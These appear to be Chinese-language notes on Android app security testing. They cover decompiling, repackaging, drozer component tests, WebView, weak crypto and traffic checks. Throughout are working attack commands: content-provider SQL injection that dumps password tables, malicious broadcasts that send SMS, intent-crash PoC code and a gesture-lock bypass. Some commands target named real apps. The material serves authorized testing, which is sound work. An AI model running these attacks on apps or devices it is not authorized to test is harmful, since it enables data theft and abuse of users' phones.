一、客户端程序安全测试
1.检查apk的信息
java -jar GetApkInfo.jar tfkj.apk
2.数字签名检查
C:\Program Files\Java\jdk1.8.0_111\bin\jarsigner.exe -verify C:\Users\bk\Desktop\天府科技云APP\天府科技云服务平台\天府科技云服务平台.apk
C:\Program Files\Java\jdk1.8.0_111\bin\jarsigner.exe -verify C:\Users\bk\Desktop\天府科技云APP\天府科技云服务平台\天府科技云服务平台.apk -verbose -certs
开发者证书不规范,导致开发者身份信息不明
keytool.exe -printcert -file .\CERT.RSA
3.反编译检查
通过ApkScan.jar查看APP加固类型
apk反编译为Java源代码:
把 apk 当成 zip 并解压,得到 classes.dex 文件
将解压出来的classes.dex文件拷贝到dex2jar工具文件夹中
执行命令:d2j-dex2jar classes.dex
执行完毕后,得到反编译而来的classes-dex2jar.jar文件
使用jd-gui.exe或者luyten-0.5.4打开 classes-dex2jar.jar文件,得到360安全加固混淆加密的源代码。
apk编译为smali语言:
java -jar [apktool_2.3.4.jar] d -f [apk地址] -o [输出目录]
java -jar apktool_2.3.3.jar d [-s] -f C:\Users\bk\Desktop\天府科技云APP\天府科技云服务平台.apk -otfkj //遇到类似于淘宝app无法反编译这样,-s代表只反编译xml文件
java -jar apktool_2.3.3.jar d -f C:\Users\bk\Desktop\天府科技云APP\天府科技云服务平台.apk -otfkj
或者:
apktool.bat d 天府科技云服务平台.apk
4.检查AndroidManifest.xml文件
java -jar AXMLPrinter2.jar AndroidManifest.xml > AndroidManifest.txt
或者
java -jar APKParser.jar 天府科技云服务平台.apk > AndroidManifest.txt
1.开启应用程序数据可备份:
allowbackup备份权限,ture则存在备份数据泄露风险(未配置的情况下,默认为TRUE)
2.开启不安全的debug模式:
Debuggable属性,true则存在应用信息篡改泄露风险(未配置的情况下,默认为FALSE)
5.
检查是否存在Janus漏洞(1)Janus漏洞(基于Janus漏洞,攻击者可以修改APP而不影响其原始签名,篡改后的APP可以成功安装运行。应同时使用V1+V2签名)
6.应用完整性校检
将反编译出来源码中修改图片文件名为test.png
进行重新生成apk包,命令如下:
java -jar apktool.jar b -f 待打包的文件夹 -o 输出 apk 路径
或者
apktool.bat b天府科技云服务平台
天府科技云文件下便可以发现多了2个文件夹:build,dist(里面存放着打包出来的APK文件)
重新签名APK命令如下:
java -jar signapk.jar testkey.x509.pem testkey.pk8 待签apk文件路径 签名后输出apk路径
然后重新安装apk,如果重新能安装上,则文件完整性被破坏掉
二.组件安全测试
(1)、列出程序安装包:
run app.package.list
(2)、获取app名为drozer的包名( 中文APP名列不出来,可以使用:java -jar GetApkInfo.jar得到安装app的包名)
命令:run app.package.list -f 包名
run app.package.list -f drozer
- 2、activity(界面)组件测试
-
-
-
- 通常展现为一个可视化的用户交互界面
-
-
-
- (1)、查看对外的activity组件信息命令:run app.activity.info -a 包名
run app.activity.info -a com.zhuoyigou.dese
命令:run app.provider.info -a 包名
run app.provider.info -a com.zhuoyigou.dese
命令:run scanner.provider.finduris -a 包名
run scanner.provider.finduris -a com.zhuoyigou.dese
(3)、获取各个Uri的数据
命令:run app.provider.query 可泄露的URL地址 --vertical
run app.provider.query content://com.zhuoyigou.dese.ipc.provider/ --vertical
- 命令1: run app.provider.query 能连接的URL地址 --projection "'"
- 命令2: run app.provider.query 能连接的URL地址 --selection "'"
run app.provider.query content://com.zhuoyigou.dese.ipc.provider/ --selection "'"
(4)、列出所有表
命令:run app.provider.query 能连接的URL地址 --projection "* FROM SQLITE_MASTER WHERE type='table';--"
run app.provider.query content://com.zhuoyigou.dese.ipc.provider/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
如下图我们发现三张表android_metadata、Passwords、Key,从名称上可以判断android_metadata是系统相关表,另外两可能和密码等数据有关。
(5)、获取某个表(如Key)中的数据:
命令:run app.provider.query 能连接的URL地址 --projection "* FROM 表名;--"
run app.provider.query content://com.zhuoyigou.dese.ipc.provider/ --projection "* FROM Key;--"
(6)、检测SQL注入
命令:run scanner.provider.injection -a 包名
run scanner.provider.injection -a com.zhuoyigou.dese
-
-
-
-
-
-
-
-
-
-
- (7)、检测
-
- 目录遍历
-
-
-
-
-
-
-
- 命令:
-
- run scanner.provider.traversal -a 包名
-
run scanner.provider.traversal -a com.zhuoyigou.dese
4、service((服务)组件测试
命令:run app.service.info -a 包名
run app.service.info -a com.zhuoyigou.dese
观察状态栏中的位置标志和GPS位置正在由FourGoats应用程序访问
5、Broadcase receiver(广播接收器)组件测试
空action:
命令:run app.broadcast.send --component 包名 广播名(组件名)
- run app.broadcast.send --component com.zhuoyigou.dese ReceiverName
-
-
-
-
-
空extras:
命令:run app.broadcast.send --action 组件名
尝试拒绝服务攻击检测,向广播组件发送不完整intent使用空extras,可看到应用停止运行
- run app.broadcast.send --action com.zhuoyigou.dese.receiver.JPushReceiver
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- (3)、恶意广播
-
-
- 命令:run app.broadcast.send --componen 包名 组件名 --extra string 组件名中发送的函数名1 字符串1 --extra string 组件名中发送的函数名2 字符串2
-
-
-
-
-
- run app.broadcast.send --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceive --extra string number 66666
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- run app.broadcast.send --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extra string phoneNumber 1111 --extra string message aaaa
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 或者
-
-
-
-
-
- run app.broadcast.send --action 组件名 --extra string 组件名中发送的函数名1 字符串1 --extra string 组件名中发送的函数名2 字符串2
-
-
-
-
-
- run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1111 --extra string message aaaa
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 测试真实主机发送短信
-
-
-
-
-
- run app.broadcast.send --component com.isi.vul_broadcastreceiver com.isi.vul_broadcastreceiver.MyBroadCastReceiver --extra string number 17*********
-
-
-
-
-
-
-
-
-
-
-
-
-
6.Intent本地拒绝服务检测
1.通过使用drozer工具查看对外暴露组件的应用如下:
run app.activity.info –a 包名 grep -rn “get*Extra” ./ | more # 检测在获取intent数据时是否进行了异常处理
2.使用反编译工具打开应用,反编译出应用源码:
在源码中查找以下示例源码(主要查找getAction):
Intent i = new Intent();
if (i.getAction().equals("TestForNullPointerException")) {
Log.d("TAG", "Test for Android Refuse Service Bug");
}
如出现像以上代码,getIntent()的intent附带空数据、异常或畸形数据,而且处理getXXXExtra()获取的数据时没有进行异常捕获,便存在风险。
3.可使用adbshell验证:
#adb shell
# am start -n 包(package)名/包名.活动(activity)名称
# am start -n com.android.music/com.android.music.MusicBrowserActivity #如果服务端出现崩溃界面,则可以证明漏洞存在
4.可造成本地拒绝服务:1.ClassNotFoundException异常导致的拒绝服务:
源于程序没有无法找到从getSerializableExtra ()获取到的序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃。
Intent i = getIntent();
getSerializableExtra("serializable_key");
攻击应用代码片段:
Intent i = new Intent();
i.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");
i.putExtra("serializable_key", BigInteger.valueOf(1));
startActivity(i);
2.IndexOutOfBoundsException异常导致的拒绝服务:
源于程序没有对getIntegerArrayListExtra()等获取到的数据数组元素大小的判断,从而导致数组访问越界而导致应用崩溃;
漏洞应用代码片段:
Intent intent = getIntent();
ArrayList<Integer> intArray = intent.getIntegerArrayListExtra("user_id");
if (intArray != null) {
for (int i = 0; i < USER_NUM; i++) {
intArray.get(i);
}
}
攻击应用代码片段:
Intent intent = new Intent();
intent.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");
ArrayList<Integer> user_id = new ArrayList<Integer>();
intent.putExtra("user_id", user_id);
startActivity(intent);
)
3.ClassNotFoundException异常导致的拒绝服务:
源于程序没有无法找到从getSerializableExtra ()获取到的序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃。漏洞应用代码片段:
Intent i = getIntent();
i.getSerializableExtra("serializable_key");
攻击应用代码片段:
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Intent i = new Intent();
i.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");
i.putExtra("serializable_key", new SelfSerializableData());
startActivity(i);
}
static class SelfSerializableData implements Serializable {
private static final long serialVersionUID = 42L;
public SelfSerializableData() {
super();
}
}
三.webview 组件安全
Android 4.2 版本以下的 webview 组件存在安全漏洞(CVE-2012-6636)。检测客户端是否采取措施避免漏洞被利用。检查应用 AndroidManifest.xml 中的 targetSdkVersion 是否大于等于 17。
Webview代码执行漏洞出现在安卓2.1~4.3.1版本,检查targetSdkVersion、minSdkVersion , 若targetsdkVersion>=19或通过minSdkVersion进行限制则无此问题,否则在低版本上测试,(可使用相关检测代码),检查代码中是否使用addJavascriptInterface(),如果使用addJavascriptInterface,则会存在被注入js接口的漏洞。
搜“onReceivedSslError”,看是否调用了handle.process()方法(在webview组件代码中测试)
解决方案:
handler.cancel(); 或者paramAnonymousSslErrorHandler.proceed();
- @SuppressLint("NewApi")
- @Override
- public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
- //handler.proceed();// 接受证书
- super.onReceivedSslError(view, handler, error);
- }
-
-
-
-
-
-
4.WebView密码明文保存检测
搜”setSavePassword”,看是否显式设置为false(在webview组件代码中测试)
webview.getSettings().setAllowFileAccess(truet);
此私有目录通常位于:/data/data/包名,在测试时,建议完全退出客户端后,再进行私有文件的测试。
首先查看相关文件的权限配置,正常的文件权限最后三位应为空(类似“rw-rw----” ),即除应用自己以外任何人无法读写;
目录则允许多一个执行位(类似“rwxrwx—x” )。如下图所示,(lib 子目录是应用安装时由 android 系统自动生成,可以略过)。
4.检查客户端程序 apk 包中是否保存有敏感信息
五.密码软键盘安全性测试
六.安全策略设置测试
2.单点登录限制策略
测试客户端是否限制登录尝试次数。比如连续输入10次以上,是否账号锁定,或者没有验证码验证
测试客户端在超过 20 分钟无操作后,是否会使会话超时并要求重新登录。超时时间设置是否合理。
该APP 过了几个小时,一直没有退出。
检测是否对用户的真实姓名、身份证号、银行卡号、手机号等进行适当用星号进行脱敏处理。
打开应用,测试工具会尝试用自己的窗口覆盖被测的应用。测试工具试图显示自己的窗口时,安全的客户端应该弹出警告提示。如果劫持成功,会出现如下界面:
1、使用反编译工具进行反编译
2、打开源码后,查找代码中查找关键字“des"和”base64"是否存在弱密码加密。
SecretKeySpec key = new SecretKeySpec(rawKeyData, "DES");
Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, key);
3、RSA中不使用Padding:
使用RSA公钥时通常会绑定一个padding,原因是为了防止一些依赖于no padding时对RSA算法的攻击。风险代码样例:
下面出现安全问题:
Cipher rsa = null;
try {
rsa = javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding");
}
catch (java.security.NoSuchAlgorithmException e) {
}
catch (javax.crypto.NoSuchPaddingException e) {
}
SecretKeySpec key = new SecretKeySpec(rawKeyData, "RSA");
Cipher cipher = Cipher.getInstance("RSA/NONE/NoPadding");
cipher.init(Cipher.DECRYPT_MODE, key);
下图是安全的:
4、没有安全的初始化向量
初始化向量时,使用了硬编码到程序的常量。风险代码样例:
byte[] iv = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
IvParameterSpec ips = new IvParameterSpec(iv)
5、 使用了不安全的加密模式(这里需要使用AES/CBC/PKCS7Padding)
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding", "BC");
cipher.init(Cipher.ENCRYPT_MODE, key);
下图是安全的:
6、 使用了不安全的密钥长度
public static KeyPair getRSAKey() throws NoSuchAlgorithmException {
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
keyGen.initialize(512);
KeyPair key = keyGen.generateKeyPair();
return key;
}
14.私密问题验证
七.手势密码安全测试
2. 进行手势密码修改或取消操作,再次登录,是否需要输入修改后的手势密码,或者取消手势密码后,是否采用其他登录方式登录。
检测在输入手势密码以后客户端是否会在本地记录一些相关信息,例如明文或加密过的手势密码。
1. 首先通过正常的操作流程设置一个手势密码并完整一次完整的登陆过程。2. 寻找 /data/data 的私有目录下是否存在手势密码对应敏感文件,若进行了相关的
信息保存,基本在此目录下。(关键词为 gesture, key 等)
4.手势密码的锁定策略
1. 首先通过正常的操作流程设置一个手势密码。
2. 输入不同于步骤 1 中的手势密码,观察客户端的登陆状态及相应提示。若连续输入多次手势密码错误,观察当用户处于登陆状态时是否退出当前的登陆状态并关闭客户端;
3. 反编译 APK 为 jar 包,通过 jd-gui 观察对应代码逻辑,寻找客户端是否针对输.入次数及锁定时间有相应的逻辑处理。
验证是否可以通过插件绕过手势密码的验证页面。
1. 下载并安装 Xposed 框架及 SwipeBack 插件。
2. 启动客户端并进入手势密码输入页。
3. 启动 SwipeBack 插件,观察是否可以通过滑动关闭手势密码输入页的方式进入登陆后的页面
八.通信安全测试
使用tcpdump将设备中的应用操作引发的通信包导出,使用wireshark查看,命令如下:
tcpdump -w traffic.pcap
1.如果使用https.通过客户端代理访问,是否提示证书有效,客户端程序和服务器端 SSL 通信是否严格检查服务器端证书有效性。避免手机银行用户
受到 SSL 中间人攻击后,密码等敏感信息被嗅探到.
2.SSL 协议安全性。检测客户端使用的 SSL 版本号是否不小于 3.0(或 TLS v1),加密算法是否安全。(安全规范要求)
使用 openssl,指定域名和端口,可以看到 SSL 连接的类型和版本。如下图所示,使用了 TLSv1,加密算法为 AES 256 位密钥。(RC4,DES 等算法被认为是不安全的)。也可以使用这个网站在线检查:https://www.ssllabs.com/ssltest/
5.访问控制
利用截包工具获取APP请求的url,是否能用PC浏览器打开该url;以及未授访问直接登录
6.客户端更新安全性
更新客户端,使用burp抓包-- 检测是否能够修改更新时的流量,流量中含有更新服务器,是不是官方地址。
九.进程保护测试
在反编译处来的源码中搜索:DexClassLoader
1.风险位置:
public DexClassLoader(String dexPath,String optimizedDirectory, String libraryPath, ClassLoader parent)[2]
2.查看AndroidManifest.xml包package值相对应路径下的文件中是否含有DexClassLoader()函数调用
busybox netstat -tuanp|grep -Ei 'listen|udp*'
十、android下虚拟机下tcpdum抓包
查看设备: adb devices
登录设备: adb shell adb shell <command 命令>
上传文件: adb push < 本地路径> < 远程路径>
下载文件: adb pull < 远程路径> < 本地路径>
安装软件: adb install [-r 强制安装] [-s 将apk 安装在SD-Card]
卸载软件: adb uninstall [-k 保留配置文件和缓存文件] < 软件名
adb push tcpdump /data/local/
adb shell
chmod 777 /data/local/tcpdump